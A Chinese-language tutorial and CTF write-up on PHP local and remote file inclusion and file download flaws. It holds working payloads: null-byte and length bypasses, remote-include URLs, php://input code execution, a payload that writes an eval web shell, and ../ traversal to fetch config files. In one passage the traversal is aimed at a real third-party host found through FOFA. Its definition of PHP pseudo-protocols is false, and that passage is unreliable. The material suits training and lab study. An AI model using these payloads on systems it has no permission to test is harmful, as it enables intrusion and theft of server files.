文件包含与下载漏洞
本文章仅作为技术分享,请勿使用此技术用于违法犯罪,后果自负!!!
目录
1.漏洞检测与危害
2.文件本地与远程包含
2.1本地包含
1、无限制
案例
2、有限制
案例
2.2 远程包含
1、无限制
2、有限制
绕过方式
3.常见脚本语言伪协议
3.1、PHP 支持的伪协议
3.1.1、http://、https://
3.1.2 filter
3.1.3 input
3.1.4 file
3.2、案例1:南邮 ctf
3.3、案例2 BUCCTF
4、文件下载/读取漏洞
案例 1: pikachu 文件下载
案例 2:[RoarCTF 202019]Easy Java
1.漏洞检测与危害
概念:
文件包含前面已经演示过,在真实的开发项目中,文件包含可以节省重复代码 。
文件包含:将指定的文件当代码执行 。
文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)
检测
检测是否有该漏洞
白盒:通过代码审计的方式
黑盒:扫描工具、公开的漏洞,手动看参数以及功能点
2.文件本地与远程包含
文件包含有本地包含与远程包含的区别,本地包含只能包含服务器已经有的问题,如果服务
器没有需要包含的文件需要配合其他漏洞使用(文件上传漏洞)
远程包含可以包含一切网络上的文件,所以危害性要比本地包含大
2.1本地包含
1、无限制
无限制就是没有限制
案例
1.新建一个 upload.php 文件当服务
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
2.新建一个 txt 文件
<?php
phpinfo();
?>
3.访问
http://localhost/upload.php?filename=1.txt
这就是个简单的包含案例,把 1.txt 里面的文件变成了可以执行的代码
就可以读取php version
2、有限制
就是包含的文件是有一定限制的,为了正确包含进去,需要适当的绕过
案例
1.新建一个 upload2.php 文件当服务
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
2.使用前面的 txt 文件
<?php
phpinfo();
?>
访问
http://localhost/upload2.php?filename=1.txt
发现好像报错了
这时候就需要绕过了
绕过方式
00 截断
%00 截断就可以绕过
http://localhost/include/upload2.php?filename=1.txt%00
%00
截断原理
空字符的本质
-
%00
是 URL 编码的 空字符(ASCII 0),C 语言中用作字符串终止符- 在 PHP ≤ 5.3.4 版本中,空字符会截断后续内容(因底层使用 C 字符串处理)
长度截断
原理:windows 长度命名长度限制 256 个字符(由于磁盘分区需要占用一个字符,所以用户只
能使用 255 个字符命名文件夹。)
linux 长度限制 4096。
http://localhost/upload2.php?filename=1.txt...................................................................................................................................................................................................................................................................................
访问就发现出现了php版本
2.2 远程包含
远程包含危害比本地包含危害更大,所以需要额外的权限才能打开.
allow_url_include 配置专门针对 PHP 的 include、include_once、 require 及require_once 语句。当 allow_url_include 被设置为 On 时,PHP 允许通过 URL 的形式,从远程服务器 包含和执行 PHP 文件
1、无限制
案例
在远程服务器上,上传
<?php
phpinfo();
?>
在本地访问
http://localhost/upload.php?filename=http://[服务器ip]/1.txt
2、有限制
案例
1、服务器端上传一个upload2.php
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
2.使用前面的 txt 文件
<?php
phpinfo();
?>
访问:http://localhost/upload2.php?filenamw=http://[服务器ip]/1.txt
绕过方式
1、文件名绕过
远程文件是可控的,既然他要求是 1.txt.html,我把服务器文件修改1.txt.html
2、空格绕过
- %23 是# 绕过
- ?绕过
传参的方式,可以用来绕过
http://localhost/upload2.php?filenamw=http://[服务器ip]/1.txt%23
http://localhost/upload2.php?filenamw=http://[服务器ip]/1.txt?
3.常见脚本语言伪协议
PHP 伪协议(PHP Protocol Override)是一种在 PHP 处理数据时,通过替换数据报的头部信息来
欺骗网络协议的方式来提高性能的技术
3.1、PHP 支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
3.1.1、http://、https://
解读
URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含
3.1.2 filter
解读
php://filter 用于读取源码
参数列表(仅作了解)
php://filter 参数详解
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
可用的过滤器列表(4 类)
字符串过滤器
作用
string.rot13 等同于 str_rot13(),rot13 变换
string.toupper 等同于 strtoupper(),转大写字母
string.tolower 等同于 strtolower(),转小写字母
string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签
转换过滤器
作用
convert.base64-encode & convert.base64-decode
#等同于 base64_encode()和 base64_decode(),base64 编码解码 convert.quoted-printable-encode & convert.quoted-printable-decode
#quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器
作用
- zlib.deflate & zlib.inflate :在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip 的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
- bzip2.compress & bzip2.decompress :同上,在本地文件系统中创建 bz2 兼容文件的 方法。
加密过滤器
作用
- mcrypt.* :libmcrypt 对称加密算法
- mdecrypt.* :libmcrypt 对称解密算法
案例
php://filter/read=convert.base64-encode/resource=
读取中 resource后面的文件以 base64 编码输出
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
读取1.txt内容,但是注意读取出来的是base64加密的密文,我们需要解密
3.1.3 input
解读
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input [POST DATA 部分]
<?php phpinfo(); ?>
查看服务器的版本
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input [POST DATA 部分]
<?php system('ver')?>
执行 ipconfig
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input[POST DATA 部分]
<?php system('ipconfig')?>
写一句话木马
php://input + [POST DATA]
http://localhost/include/upload.php?filename=php://input [POST DATA 部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
然后就可以用蚁剑连接
3.1.4 file
解读:
用于访问本地文件系统
file://需要的是完整的路径
访问 hosts 文件
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
3.1.5 data
解读
以传递相应格式的数据。通常可以用来执行 PHP 代码
案例
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?>
http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5 mbygpOz8%2b
3.2、案例1:南邮 ctf
https://chinalover.sinaapp.com/web7/
进去后点击一下
发现它读取了show.php
我们用前面提到的file读取方式
php://filter/read=convert.base64-encode/resource=
试一下:https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=show.php
解密发现里面内容就是test123
然后我们读取一下index.php看看里面有什么内容
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
解密一下就发现flag了:flag:nctf{edulcni_elif_lacol_si_siht}
3.3、案例2 BUCCTF
https://buuoj.cn/challenges
进去后发现它还是file读取
php://filter/read=convert.base64-encode/resource=
那我们读取flag.php然后解密就可可以了。
http://8c386ec9-c6ad-461d-a1d2-7864dce63a04.node5.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
4、文件下载/读取漏洞
这知识很简单,和文件包含类似,通过下载的方式获取敏感文件
案例 1: pikachu 文件下载
打开pikachu靶场
可以去fofa里面玩别人搭建好的靶场
"pikachu" && country="CN" && title="Get the pikachu"
分别复制它的下载、图片地址
下载地址:http://121.40.106.110:83/vul/unsafedownload/execdownload.php?filename=kb.png图片地址:http://121.40.106.110:83/vul/unsafedownload/download/kb.png
我们不知道它的配置文件,所以我们可以试一下目录扫描,这里可以用7kbscan,选择php.txt字典
http://121.40.106.110:83/inc
正常情况扫描完是inc/config.inc.php
文件
所以正常情况下应该是这个
http://121.40.106.110:83/vul/unsafedownload/execdownload.php?filename=inc/config.inc.php,但是如果把它这样拼接它是不能下载的
所以我们要下载就要跳转到对应目录:
发现他有三层地址,所以我们需要利用 ../ 来跳转url地址
http://121.40.106.110:83/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
访问就可以下载对方配置文件
../
是操作系统中的相对路径跳转符号:
- 每个
../
表示向上一级目录
案例 2:[RoarCTF 202019]Easy Java
https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java
这是一个与java有关的题目:
进去后发现是个登录框,先别急着爆破,要记住,我们这个题是文件下载的题,点击一下help
发现有filename拼接,所以我们看看能不能下载到东西
我们先下载help.doxt看看有什么东西?
发现里面其实什么重要信息都没有
所以接下来我们需要了解一下java web的框架结构,方便我们理解这个题
标准的 Maven-based Java Web 项目 的核心结构:项目根目录 (project-root)
│
├── pom.xml # Maven 项目对象模型文件,定义依赖、构建配置等
│
├── src
│ ├── main
│ │ ├── java # 存放 Java 源代码 (Servlets, Filters, Services, DAOs, Utils, POJOs 等)
│ │ │ └── com
│ │ │ └── example
│ │ │ └── webapp # 按包组织的 Java 类
│ │ │ ├── controller
│ │ │ ├── service
│ │ │ ├── dao
│ │ │ └── model
│ │ │
│ │ ├── resources # 存放非 Java 资源文件
│ │ │ ├── config # 配置文件 (如 Spring 的 applicationContext.xml, mybatis-config.xml)
│ │ │ ├── properties # 属性文件 (.properties, .yml)
│ │ │ ├── static # 纯静态资源 (CSS, JS, images, fonts - **现代最佳实践位置**)
│ │ │ │ ├── css
│ │ │ │ ├── js
│ │ │ │ └── images
│ │ │ ├── templates # 模板文件 (JSP, Thymeleaf, FreeMarker, Velocity 等 - **现代框架常用位置**)
│ │ │ └── ... # 其他资源 (如 SQL 脚本, i18n 消息文件等)
│ │ │
│ │ └── webapp # **Web 应用的根目录 (相当于部署后的 `/`)**
│ │ ├── WEB-INF # **受保护的目录,客户端无法直接访问**
│ │ │ ├── web.xml # **部署描述符 (Deployment Descriptor),核心配置文件 (Servlet 3.0+ 后可选)**
│ │ │ ├── classes # **编译后的 Java 字节码 (.class 文件) 和 /resources 下的资源 (构建后自动生成)**
│ │ │ ├── lib # **项目依赖的第三方 JAR 包 (构建时 Maven 自动复制)**
│ │ │ └── ... # 其他配置 (如 Spring 的 dispatcher-servlet.xml, 旧版 JSP 有时放这里)
│ │ │
│ │ ├── static # 静态资源 (也可放这里,但现代框架更推荐放 /src/main/resources/static)
│ │ ├── index.html # 默认欢迎页面 (可直接访问)
│ │ ├── index.jsp # JSP 页面 (可直接访问,但现代项目较少直接用 JSP)
│ │ └── ... # 其他可直接访问的资源 (HTML, 图片等)
│ │
│ └── test # 测试代码和资源
│ ├── java # 测试 Java 源代码 (JUnit, TestNG 等)
│ └── resources # 测试用资源文件
│
└── target # **构建输出目录 (Maven 编译打包后生成)**├── classes # 编译后的 .class 文件和从 /src/main/resources 复制的资源 ├── generated-sources # 自动生成的源代码 (如注解处理器生成)├── maven-status # Maven 构建状态 ├── project-name # 项目打包后的展开目录 (用于测试)└── project-name.war # **最终生成的 Web 应用程序归档文件 (WAR),用于部署**
我们发现web.xml 是它的核心配置文件所以我们拼接一下,但属于
web.xml 是在WEB-INF目录下面的
filename=WEB-INF/web.xml
下载下来分析一下:
发现有Flag相关路径:com.wm.ctf.FlagController
classes # **编译后的 Java 字节码 (.class 文件) 和 /resources 下的资源 (构建后自动生成)**
一般来说它是经过Java的jdk编译成class文件,我们先把它的源文件下载下来
所以它的文件路径为:
WEB-INF/classes/com/wm/ctf/FlagController.class
按照上面的框架可以得出完整的路径
发现这里面有关反编译,相当于是逆向,把class文件逆向成java文件,因为class文件是计算机识别的,我们看不懂,所以我们需要逆向为java文件
反编译完成后发现它是base64加密,我们解密一下就得到了flag
flag{2e8ec3df-5269-4084-8de7-d09326263fdf}